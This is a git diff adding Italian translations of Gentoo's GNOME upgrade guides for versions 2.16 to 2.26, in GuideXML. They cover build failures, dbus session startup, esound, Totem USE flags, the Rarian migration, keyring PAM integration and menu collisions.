+  File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+      make[2]: *** [de/file-roller.xml] Error 1
+      make[2]: *** Waiting for unfinished jobs....
+      Traceback (most recent call last):
+        File "/usr/bin/xml2po", line 34, in ?
+	    import libxml2
+	    ImportError: No module named libxml2
+make[2]: *** [es/file-roller.xml] Error 1
+make[2]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92/help'
+make[1]: *** [all-recursive] Error 1
+make[1]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92'
+make: *** [all] Error 2
+</pre>
+
+<pre caption="Ancora altri errori">
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+</pre>
+
+<note>
+Nel primo caso probabilmente ci si è scordati di lanciare
+python-updater.
+</note>
+
+<note>
+Nel secondo caso probabilmente ci si è scordati di fare il re-emerge
+di gnome-doc-utils.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Che cosa fare se non si hanno errori relativi ai bugs
+precedentemente elencati?</title>
+<body>
+
+<p>
+Cercare su bugzilla in base al nome del proprio pacchetto per vedere se
+qualcunaltro ha aperto un bug simile. E' possibile eseguire una ricerca usando
+"ALL package-name" per cercare sia i bug aperti che quelli chiusi.
+Se non è possibile trovare una bug similare per favore apri un nuovo bug.
+Per fare questo seguire le istruzioni riportate di seguito.
+</p>
+
+<p>
+Se vuoi sapere come aprire un bug, per favore consulta
+<uri>http://www.gentoo.org/doc/en/bugzilla-howto.xml</uri>
+</p>
+
+<p>
+Si può anche cercare il gruppo gentoo gnome in #gentoo-desktop.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.16-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.16-upgrade.xml
new file mode 100644
index 00000000..231df966
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.16-upgrade.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="UTF-8"?>

+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">

+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.16-upgrade.xml,v 1.1 2007/05/22 16:55:37 scen Exp $ -->

+

+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.16-upgrade.xml" lang="it">

+<title>Gnome 2.16 - Guida all'aggiornamento</title>

+

+<author title="Autore">

+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>

+</author>

+<author title="Traduzione">

+  <mail link="r.milan@email.it">Riccardo Milan</mail>

+</author>

+

+<abstract>

+Questa guida riguarda l'aggiornamento da GNOME 2.14.x a GNOME 2.16.x.

+</abstract>

+

+<!-- The content of this document is licensed under the CC-BY-SA license -->

+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->

+<license/>

+

+<version>1.0</version>

+<date>2006-09-08</date>

+

+<chapter>

+<title>Risoluzione dei problemi</title>

+<section>

+<title>Note relative alla fallita compilazione dei pacchetti</title>

+<body>

+

+<p>

+Il pacchetto <c>libnotify</c>, durante il processo di emerge, compila in maniera

+differente a seconda della versione di GTK+ installata nel sistema. Se si

+riscontrano problemi compilando pacchetti come <c>zenity</c> o

+<c>rhythmbox</c> i quali falliscono con riferimenti indefiniti a funzioni di

+notifica, ricompilare <c>libnotify</c> dopo aver aggiornato GTK+ alla versione

+2.10.x.

+</p>

+

+</body>

+</section>

+<section>

+<title>gnome-settings-daemon non parte</title>

+<body>

+

+<p>

+<c>gnome-settings-daemon</c> necessita di una sessione dbus locale per

+funzionare, e non parte se essa non è presente. <c>gnome-session</c> fa partire

+automaticamente una sessione dbus, ma se si sta usando qualche altro Window

+Manager" oppure <c>startx</c> con un file <path>~/.xinitrc</path>, allora

+bisogna far partire manualmente la sessione dbus. Inserire quanto segue nel

+proprio file di avvio per X (<path>~/.xinit</path> per <c>startx</c>,

+<path>~/.xsession</path> per un Desktop Manager (abbr. "DM"):

+</p>

+

+<pre caption="Avviare una sessione dbus">

+eval `dbus-launch --exit-with-session --sh-syntax`

+</pre>

+

+<p>

+Assicurarsi di inserirla prima della riga che esegue

+<c>gnome-settings-daemon</c>.

+</p>

+

+<p>

+In alternativa, se si sta usando startx e il file <path>~/.xinitrc</path> non

+contiene nulla di speciale, si può rimuovere questo file ed impostare XSESSION

+a gnome nel proprio file <path>~/.profile</path> o in <path>/etc/rc.conf</path>.

+Questa procedura avvierà correttamente dbus prima di far partire gnome-session.

+</p>

+

+</body>

+</section>

+<section>

+<title>Fornitore IMAP 4rev1 rimosso da Evolution</title>

+<body>

+

+<p>

+Il fornitore IMAP 4rev1 è stato rimosso da <c>evolution</c> in questa

+versione, in quanto è considerato malfunzionante e non supportato da parte degli

+sviluppatori originali. Gli utenti dovrebbero cambiare i propri account per

+usare invece il normale fornitore IMAP.

+</p>

+

+</body>

+</section>

+</chapter>

+</guide>

diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.18-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.18-upgrade.xml
new file mode 100644
index 00000000..bb37c26e
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.18-upgrade.xml
@@ -0,0 +1,250 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.18-upgrade.xml,v 1.3 2007/08/30 20:32:03 scen Exp $ -->
+
+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.18-upgrade.xml" lang="it">
+<title>Guida per l'aggiornamento a Gnome 2.18</title>
+
+<author title="Autore">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Redazione">
+<mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Redazione">
+<mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Redazione">
+<mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questa è una guida per l'aggiornamento da GNOME 2.16.x a GNOME 2.18.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2007-08-18</date>
+
+<chapter>
+<title>Cambiamenti Significativi</title>
+<section>
+<title>Sistema Sonoro ed ESD</title>
+<body>
+
+<p>
+Gli sviluppatori di GNOME hanno deciso di rimuovere le capacità di
+"autogenerazione" di esd, perchè erano difettose e portavano ad avere un sacco
+di problemi. Questo significa che se si usano i suoni di sistema, bisognerà
+avere il servizio di boot di esd avviato. Per avviarlo automaticamente al boot
+eseguire la seguente operazione:
+</p>
+
+<pre caption="Avviare esound al boot">
+# <i>rc-update add esound default</i>
+</pre>
+
+<p>
+Notare che così facendo esso non verrà avviato fino al prossimo riavvio,
+pertanto, per avviarlo al momento, utilizzare questo comando:
+</p>
+
+<pre caption="Avviare esound a sistema avviato">
+# <i>/etc/init.d/esound start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Totem non ha la USE flag xine!</title>
+<body>
+
+<p>
+Gli sviluppatori Gentoo hanno deciso di rimuovere il backend di xine a causa di
+vari problemi difficilmente risolvibili. È risaputo che questo rende più
+difficile riprodurre i DVD, comunque sarà ancora possibile farlo. Assicurarsi
+che <c>media-video/totem</c> sia compilato con la USE flag <c>dvd</c>, e poi
+lanciare:
+</p>
+
+<pre caption="Riprodurre DVD con Totem">
+# <i>totem dvd://</i>
+</pre>
+
+<p>
+Questo riprodurrà il titolo principale. Purtroppo non c'è il supporto per i
+menu.
+</p>
+
+<p>
+Si sta cercando di rendere possibile la convivenza del backend xine con
+gstreamer e di fare in modo che il primo sia selezionabile come non-predefinito
+dalla linea di comando. Tuttavia tale soluzione rimane ancora non supportata e
+viene fornita solo come una semplice convenienza. Ogni aiuto in forma di codice
+è ben accetto in  modo da riuscire ad implementare tale miglioramento il prima
+possibile.
+</p>
+
+</body>
+</section>
+<section>
+<title>Le flag per il plugin Totem per il browser sono cambiate! Ora ho
+seamonkey!</title>
+<body>
+
+<p>
+Le USE flag gecko di Totem sono state riorganizzate. Invece di avere come
+impostazioni predefinita seamonkey e selezionare firefox o xulrunner basandosi
+sulle flag, ora l'impostazione predefinita è firefox, e si seleziona xulrunner o
+seamonkey a seconda delle flag. Ciò viene fatto per due ragioni. Primo, perchè
+seamonkey non funziona su tutte le architetture, pertanto c'è bisogno di avere
+una USE flag che può essere mascherata. Secondo, per portare Totem in linea con
+l'uso delle altre applicazioni Gnome, come epiphany. Ecco quali sono le
+possibili combinazioni delle flag, e cosa significano ora per totem:
+</p>
+
+<table>
+<tr>
+  <th colspan="2">Combinazioni di USE flag del plugin del browser di Totem</th>
+</tr>
+<tr>
+  <th>USE flag</th>
+  <th>Risultato</th>
+</tr>
+<tr>
+  <ti>USE="<c>-nsplugin</c>"</ti>
+  <ti>Disabilita il plugin del browser; non verrà introdotto nessun gecko</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner -seamonkey</c>"</ti>
+  <ti>
+    Compila con il plugin sopra firefox. Questo è l'impostazione predefinita in
+    tutti i profili.
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner -seamonkey</c>"</ti>
+  <ti>Compila il plugin su xulrunner</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner seamonkey</c>"</ti>
+  <ti>Compila il plugin su xulrunner. (xulrunner batte seamonkey.)</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner seamonkey</c>"</ti>
+  <ti>Compila il plugin su seamonkey</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi Noti</title>
+<section>
+<title>Icone di Notifica mancanti (specificatamente gnome-power-manager)</title>
+<body>
+
+<p>
+C'è un bug noto in Gnome 2.18 nel quale le icone di notifica per le cose che
+si avviano nella propria sessione qualche volta non compaiono nel vassoio. Il
+programma sta girando, ma la sua icona di notifica manca. Questo accade in molti
+casi con gnome-power-manager. Speriamo di risolvere il problema prossimamente,
+ma nel frattempo la soluzione temporanea è riavviare il programma ad avvio della
+sessione avvenuto, e l'icona sarà lì per il resto della sessione.
+Per gnome-power-manager, aprire un terminale e seguire questi passi:
+</p>
+
+<pre caption="Far ricomparire l'icona di notifica di gnome-power-manager">
+# <i>killall gnome-power-manager</i>
+# <i>gnome-power-manager</i>
+</pre>
+
+<p>
+Questo farà ricomparire la propria icona di notifica di g-p-m.
+</p>
+
+</body>
+</section>
+<section>
+<title>Errori nelle Deskbar-applet al login quando si usa tracker</title>
+<body>
+
+<p>
+C'è un bug noto in trackerd che causa un problema di "competizione" al login,
+quando trackerd sta partendo, e deskbar-applet prova ad avviarlo mediante la sua
+interfaccia dbus. Questo genera dei messaggi di errore in deskbar-applet. Per
+far funzionare di nuovo deskbar-applet ( con tracker), aprire un terminale e
+seguire i seguenti passi:
+</p>
+
+<pre caption="Far funzionare deskbar-applet">
+# <i>killall deskbar-applet</i>
+</pre>
+
+<p>
+Quindi, quando apparirà una finestra che chiederà di riavviarlo, selezionare
+"Reload" ("Ricarica", se l'ambiente è localizzato in italiano, ndt)
+</p>
+
+<p>
+Questo deve essere fatto una volta al login. Deskbar-applet funzionerà per il
+resto della sessione.
+</p>
+
+</body>
+</section>
+<section>
+<title>La compilazione fallisce con errori XML:: ed altre note di
+compilazione</title>
+<body>
+
+<p>
+Errori di questo genere capitano a causa del passaggio dell'ultima versione
+di <c>expat</c> al ramo stabile in concomitanza a quello di Gnome 2.18. Questo
+rende necessaria una ricostruzione di tutti i collegamenti (link) alla
+precedente versione di expat a seguito del suo aggiornamento, che normalmente
+risulta essere all'inizio del processo di aggiornamento. Per fare questo,
+eseguire:
+</p>
+
+<pre caption="Correzione delle incoerenze connesse ad expat">
+# <i>revdep-rebuild -X</i>
+</pre>
+
+<p>
+Questo comando effettua la ricostruzione di tutti i pacchetti incoerenti a causa
+di expat, e continua successivamente fino ad esaurire eventuali altri
+interventi. Una volta concluso, si dovrebbe essere in grado di completare
+l'aggiornamento dei rimanenti pacchetti di Gnome.
+</p>
+
+<p>
+Anche dopo aver concluso l'intero processo di aggiornamento alla versione 2.18,
+è opportuno ripetere un <c>revdep-rebuild</c> ancora qualche volta, fino a che
+non si otterrà più alcun output, ad indicazione che Gnome e tutte le sue
+dipendenze sono state propriamente ricostruite. Ciò fatto, non dimenticare di
+eseguire <c>dispatch-conf</c>!
+</p>
+
+<p>
+Per ultimo, dbus ed hal devono essere riavviati se erano attivi nel corso
+dell'aggiornamento:
+</p>
+
+<pre caption="Riavvio dei servizi">
+# <i>/etc/init.d/dbus restart</i>
+# <i>/etc/init.d/hald restart</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.20-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.20-upgrade.xml
new file mode 100644
index 00000000..b7de7a25
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.20-upgrade.xml
@@ -0,0 +1,135 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.20-upgrade.xml,v 1.1 2008/01/18 21:40:49 scen Exp $ -->
+
+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.20-upgrade.xml" lang="it">
+
+<title>Guida per l'aggiornamento a Gnome 2.20</title>
+<author title="Autore">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Autore">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questa è una guida per l'aggiornamento da GNOME 2.18.x a GNOME 2.20.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-11-22</date>
+
+<chapter>
+<title>Cambiamenti</title>
+<section>
+<title>Preferenze Font, Temi, e Sfondi</title>
+<body>
+
+<p>
+I pannelli di controllo per i Font, Temi e Sfondi sono stati unificati nel
+pannello di controllo "Aspetto" ("Appearance", se l'ambiente non è localizzato
+in Italiano, ndT). Ciò significa che praticamente ogni modifica relativa
+all'aspetto del proprio desktop ora può essere fatta da una singola finestra
+suddivisa in schede. Andare in Sistema -> Preferenze -> Aspetto (System ->
+Preferences -> Appearance, se l'ambiente non è localizzato in Italiano, ndT) per
+cambiare queste impostazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Scelta Filtro Spam in Evolution</title>
+<body>
+
+<p>
+Ora Evolution ha una vera scelta di filtri per lo spam. Viene fornito con
+plugin integrati per Spamassassin e Bogofilter, ed è possibile selezionare uno
+di essi ed usarlo in fase di esecuzione. Le flag USE per effettuare la scelta
+sono sparite. Per scegliere un plugin per il controllo dello spam, andare in
+Preferenze -> Preferenze di posta -> Indesiderata (Preferences -> Mail
+Preferences -> Junk, se l'ambiente non è localizzato in Italiano, ndT) ed
+impostare il plugin predefinito per la posta indesiderata dal menù a discesa. Si
+verrà avvisati se il programma corretto è effettivamente installato. Se
+solamente uno dei due, tra Spamassassin e Bogofilter, è installato, verrà
+scelto quello, altrimenti, se sono installati entrambi, la scelta predefinita
+andrà a Spamassassin.
+</p>
+
+</body>
+</section>
+<section>
+<title>Migrazione alla libreria Rarian per i metadati dei documenti</title>
+<body>
+
+<p>
+Da quanto è possibile ricordare la documentazione utente di aiuto di Gnome è
+stata sempre mantenuta ed indicizzata dal pacchetto scrollkeeper. Tuttavia da
+diverso tempo questo pacchetto è rimasto senza un mantenitore all'interno del
+progetto principale, ed ha accumulato diversi problemi, inclusi alcuni di natura
+concettuale.
+</p>
+
+<p>
+GNOME 2.20 ha sostituito questo pacchetto con il nuovo pacchetto Rarian. Alcuni
+dei benefici introdotti includono yelp, per generare la tabella dei contenuti
+in modo più veloce, permettendo effettivamente di sbarazzarsi dello scotto in
+termini di tempo d'installazione per tutti i pacchetti che installano la
+documentazione utente tramite l'aggiornamento del database di scrollkeeper, e
+molto altro ancora. Fortunatamente Rarian porta con s'è uno strato di
+compatibilità assoluta nei confronti di scrollkeeper, per cui la migrazione da
+scrollkeeper a rarian dovrebbe essere indolore.
+</p>
+
+<p>
+Il team GNOME di Gentoo è convinto di aver reso indolore questa migrazione
+durante l'aggiornamento a Gnome 2.20 anche su Gentoo Linux. È stato possibile
+ottenere ciò attraverso una migrazione di versione di scrollkeeper che
+introduceva solo il pacchetto rarian con il proprio strato di compatibilità con
+scrollkeeper e non il vecchio pacchetto scrollkeeper. Perciò non ci si deve
+spaventare, la versione 9999 di scrollkeeper è la versione fittizia di
+migrazione e non un ebuild CVS live. Un'installazione stabile recente di Portage
+dovrebbe riuscire a calcolare da sè come eseguire con successo la migrazione
+senza alcun intervento manuale.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altri cambiamenti</title>
+<body>
+
+<p>
+Si prega di leggere le <uri
+link="http://www.gnome.org/start/2.20/notes/en/">Note di Rilascio per GNOME 2.20
+</uri> per le altre novità di questa nuova versione di GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi noti</title>
+<section>
+<title>Icona Gestione Energetica Gnome non visualizzata nel vassoio
+(corretto)</title>
+<body>
+
+<p>
+Il problema dell'icona di gnome-power-manager che non veniva visualizzata nel
+vassoio dopo l'avvio è stato sistemato. Se in precedenza era stata introdotta
+una qualsiasi soluzione temporanea è consigliabile rimuoverla dopo aver
+effettuato l'aggiornamento.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..027664a9
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,201 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.22-upgrade.xml,v 1.2 2008/07/24 20:01:41 scen Exp $ -->
+
+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.22-upgrade.xml" lang="it">
+<title>Guida per l'aggiornamento a Gnome 2.22</title>
+
+<author title="Autore">
+  <mail link="remi"/>
+</author>
+<author title="Autore">
+  <mail link="leio"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa è una guida per l'aggiornamento da GNOME 2.20.x a GNOME 2.22.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>Cambiamenti</title>
+<section>
+<title>Montaggio automatico dei supporti rimovibili.</title>
+<body>
+
+<p>
+In Gnome 2.22 sono stati introdotti alcuni piccoli cambiamenti significativi nel
+montaggio automatico. Ora viene gestito da Nautilus invece che da
+<c>gnome-base/gnome-volume-manager</c>. Tuttavia
+<c>gnome-base/gnome-volume-manager</c> viene ancora usato per rilevare nuovo
+hardware come le fotocamere.
+</p>
+
+<p>
+Conseguentemente a questa modifica, ora è disponibile una flag use
+<c>automount</c> in <c>gnome-volume-manager</c> per quegli utenti che
+desiderano mantenere il vecchio comportamento. Agli utenti che in precedenza
+hanno avviato <c>gnome-volume-manager</c> senza avere dei desktop Gnome si
+consiglia vivamente di abilitare questa flag use. Gli utenti Gnome, invece, sono
+fortemente incoraggiati a verificare che questa flag use non sia attivata, in
+quanto causa problemi con Nautilus.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gestore chiavi Seahorse</title>
+<body>
+
+<p>
+A partire dalla versione 2.22, Seahorse (<c>app-crypt/seahorse</c>) è diventato
+il gestore ufficiale per le password e le chiavi, rimpiazzando il precedente
+GNOME Keyring Manager (<c>gnome-extra/gnome-keyring-manager</c>). Esso gestisce
+sia le chiavi GPG che SSH, e può essere usato anche per gestire le password
+salvate nel proprio "keyring" di ("portachiavi virtuale", NdT) GNOME.
+</p>
+
+<p>
+Se ci si trova bene con Seahorse al termine dell'aggiornamento di GNOME, si può
+considerare l'eventualità di disinstallare <c>gnome-keyring-manager</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>PAM e l'integrazione con il keyring di GNOME</title>
+<body>
+
+<p>
+A partire dalla versione 2.20 di Gnome, il Keyring di GNOME
+(<c>gnome-base/gnome-keyring</c>) ha cominciato a fornire un modulo PAM
+(<path>pam_gnome_keyring.so</path>) per sbloccare automaticamente il proprio
+keyring nel momento in cui si effettua il login nella propria sessione,
+risparmiando all'utente la noia di digitare due password.
+</p>
+
+<p>
+In GNOME 2.22, questa caratteristica è ora maggiormente configurabile, grazie a
+<c>sys-auth/pambase</c> che contiene una flag USE <c>gnome-keyring</c>.
+Abilitando questa flag, nei file di configurazione di PAM in
+<path>/etc/pam.d/</path> verrà inserita automaticamente la voce relativa a
+<path>pam_keyring.so</path> nelle posizioni corrette. Ci si deve solamente
+ricordare di usare <c>dispatch-conf</c> od un altro strumento simile a scelta
+per aggiornare tali file dopo l'installazione di <c>pambase</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altri cambiamenti</title>
+<body>
+
+<p>
+Si prega di leggere le <uri
+link="http://library.gnome.org/misc/release-notes/2.22/">Note di Rilascio per
+GNOME 2.22</uri> per le altre novità di questa nuova versione di GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi noti</title>
+<section>
+<title>Aggiornamento a Python 2.5</title>
+<body>
+
+<p>
+Prima di effettuare l'aggiornamento a GNOME 2.22, assicurarsi di avere
+installato <e>solamente</e> <c>dev-lang/python-2.5*</c> e che il proprio sistema
+sia completamente aggiornato.
+</p>
+
+<pre caption="Aggiornare python">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+Se si aprono dei bug relativi ad errori di Python e si sta ancora usando Python
+2.4, <e>verrà</e> chiesto di aggiornarlo alla versione 2.5. L'Herd GNOME
+<e>non</e> supporta GNOME 2.22 con Python 2.4.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Pacchetti bloccati</title>
+<body>
+
+<p>
+Con GNOME 2.22 alcuni pacchetti sono stati suddivisi in due componenti, per
+permettere ad altre applicazioni di usare le librerie interne precedenti. Per
+esempio la libreria del parser della playlist all'interno di <c>totem</c> ora è
+stata spostata in <c>dev-libs/totem-pl-parser</c>, in modo che <c>rhythmbox</c>
+possa dipendere solamente da esso, senza dipendere dall'intero pacchetto
+<c>totem</c>.
+</p>
+
+<p>
+Tutto questo ha comportato l'introduzione di blocchi tra i pacchetti per evitare
+collisioni tra file. Per aggirare questo problema, seguire semplicemente le
+istruzioni appropriate nel <uri
+link="http://www.gentoo.org/doc/it/handbook/handbook-x86.xml?full=1#blocked" >
+manuale</uri> come spiegato da Portage. In particolare, disinstallare
+temporaneamente il pacchetto che crea il conflitto e continuare normalmente,
+recuperando successivamente il pacchetto rimosso tramite il metapacchetto o
+altre parti di GNOME che dipendono da esso.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME non più disponibile come opzione tra le sessioni in GDM</title>
+<body>
+
+<p>
+GDM usa i file disponibili in <path>/usr/share/xsessions/*</path> per
+determinare quali ambienti desktop sono stati installati dall'utente e che
+potranno essere selezionati dal menù "Sessioni".
+</p>
+
+<p>
+Il file appropriato per GNOME ora è fornito da
+<c>gnome-base/gnome-session-2.22</c> invece che da <c>gnome-base/gdm</c>, e a
+causa di ciò ci sono i blocchi appropriati per i pacchetti per evitare le
+collisioni tra file che potrebbero far perdere questo file di sessione.
+</p>
+
+<p>
+L'unica cosa negativa è che <c>gnome-session</c> non verrà aggiornato alla
+versione 2.22, dopo la sua disinstallazione per risolvere il problema di blocco
+nell'aggiornamento di GDM. Ciò potrebbe comportare la mancanza della scelta
+di GNOME nel menù "Sessioni" di GDM, nel qual caso si consiglia di verificare
+che <c>gnome-session-2.22.0</c> o successivo sia installato.
+</p>
+
+<p>
+Notare che questo problema non può verificarsi agli utenti del metapacchetto
+<c>gnome-base/gnome</c>, in quanto introduce nuovamente l'appropriato pacchetto
+<c>gnome-session</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.26-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.26-upgrade.xml
new file mode 100644
index 00000000..5227367f
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.26-upgrade.xml
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.26-upgrade.xml,v 1.1 2009/10/19 21:41:45 scen Exp $ -->
+
+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.26-upgrade.xml" lang="it">
+<title>Guida per l'aggiornamento a Gnome 2.26</title>
+
+<author title="Autore">
+  <mail link="eva"/>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa è una guida per l'aggiornamento da GNOME 2.24.x a GNOME 2.26.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2009-09-29</date>
+
+<chapter>
+<title>Cambiamenti</title>
+<section>
+<title>Gestione della sessione</title>
+<body>
+
+<p>
+A causa della sostanziale riscrittura di <c>gnome-base/gnome-session</c>, le
+sessioni salvate esistenti molto probabilmente andranno perse a causa di una
+modifica nel formato.
+</p>
+
+</body>
+</section>
+<section>
+<title>Programma di masterizzazione Brasero</title>
+<body>
+
+<p>
+A partire dalla versione 2.26 di Gnome, Brasero (<c>app-cdr/brasero</c>) diventa
+lo strumento ufficiale per la masterizzazione dei supporti ottici. Sostituisce
+completamente il programma di masterizzazione CD di nautilus
+(<c>gnome-extra/nautilus-cd-burner</c>) fornendo un'estensione che rimpiazza in
+modo trasparente l'interfaccia a quest'ultimo programma. In aggiunta, fornisce
+anche la propria interfaccia per operazioni più complesse.
+</p>
+
+<p>
+Se si è soddisfatti di Brasero al termine del completamento dell'aggiornamento
+di Gnome, si può valutare la disinstallazione di
+<c>gnome-extra/nautilus-cd-burner</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Integrazione con Pulseaudio</title>
+<body>
+
+<p>
+Ora GNOME 2.26 offre un'integrazione completa con pulseaudio. Si fa presente che
+su determinato hardware, abilitare la flag USE pulseaudio implica il dover
+abilitare il supporto ad esso in altre applicazioni che usano l'output audio
+(es. mplayer). È consigliabile far riferimento alla <uri
+link="http://www.pulseaudio.org/wiki/PerfectSetup">documentazione ufficiale di
+pulseaudio</uri> per la sua configurazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cambiamenti alle API di gnome-desktop</title>
+<body>
+
+<p>
+Come conseguenza dell'<uri link="http://live.gnome.org/GnomeGoals">obiettivo di
+GNOME</uri> di rimuovere l'uso di librerie deprecate, gnome-desktop ha
+modificato nuovamente le proprie API. Questo cambiamento non dovrebbe
+danneggiare alcunchè durante l'aggiornamento, ma non bisogna dimenticarsi di
+eseguire <c>revdep-rebuild</c> o <c>emerge @preserved-rebuild</c> al termine del
+processo di aggiornamento e verificare che la vecchia libreria venga rimossa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Collisione tra i file dei menu di GNOME e KDE</title>
+<body>
+
+<p>
+A causa della collisione tra i file dei menu di GNOME e KDE,
+<c>gnome-base/gnome-menus</c> è stato modificato in modo da usare una locazione
+con prefisso per i propri menù. Ciò comporterà una sparizione dei menù durante
+l'aggiornamento. Per farli riapparire, assicurarsi di installare
+<c>>=gnome-base/gnome-session-2.26.2</c> e
+<c>>=gnome-base/gnome-menus-2.26.2</c>.
+</p>
+
+<p>
+Se si sta usando un gestore di login e si perde il proprio menu, si prega di
+riselezionare gnome come propria sessione al prompt di login. Se si avvia gnome
+manualmente e si possiede un file .xinitrc personalizzato, bisogna esportare
+XDG_MENU_PREFIX=gnome- per riottenere il proprio menu. Se si avvia manualmente
+gnome ma non si utilizza nessun file .xinitrc, basta esportare XSESSION=Gnome.
+Vedere i <uri link="http://bugs.gentoo.org/256614">bug #256614</uri> e
+<uri link="http://bugs.gentoo.org/279555">bug #279555</uri> per ulteriori
+dettagli.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altri cambiamenti</title>
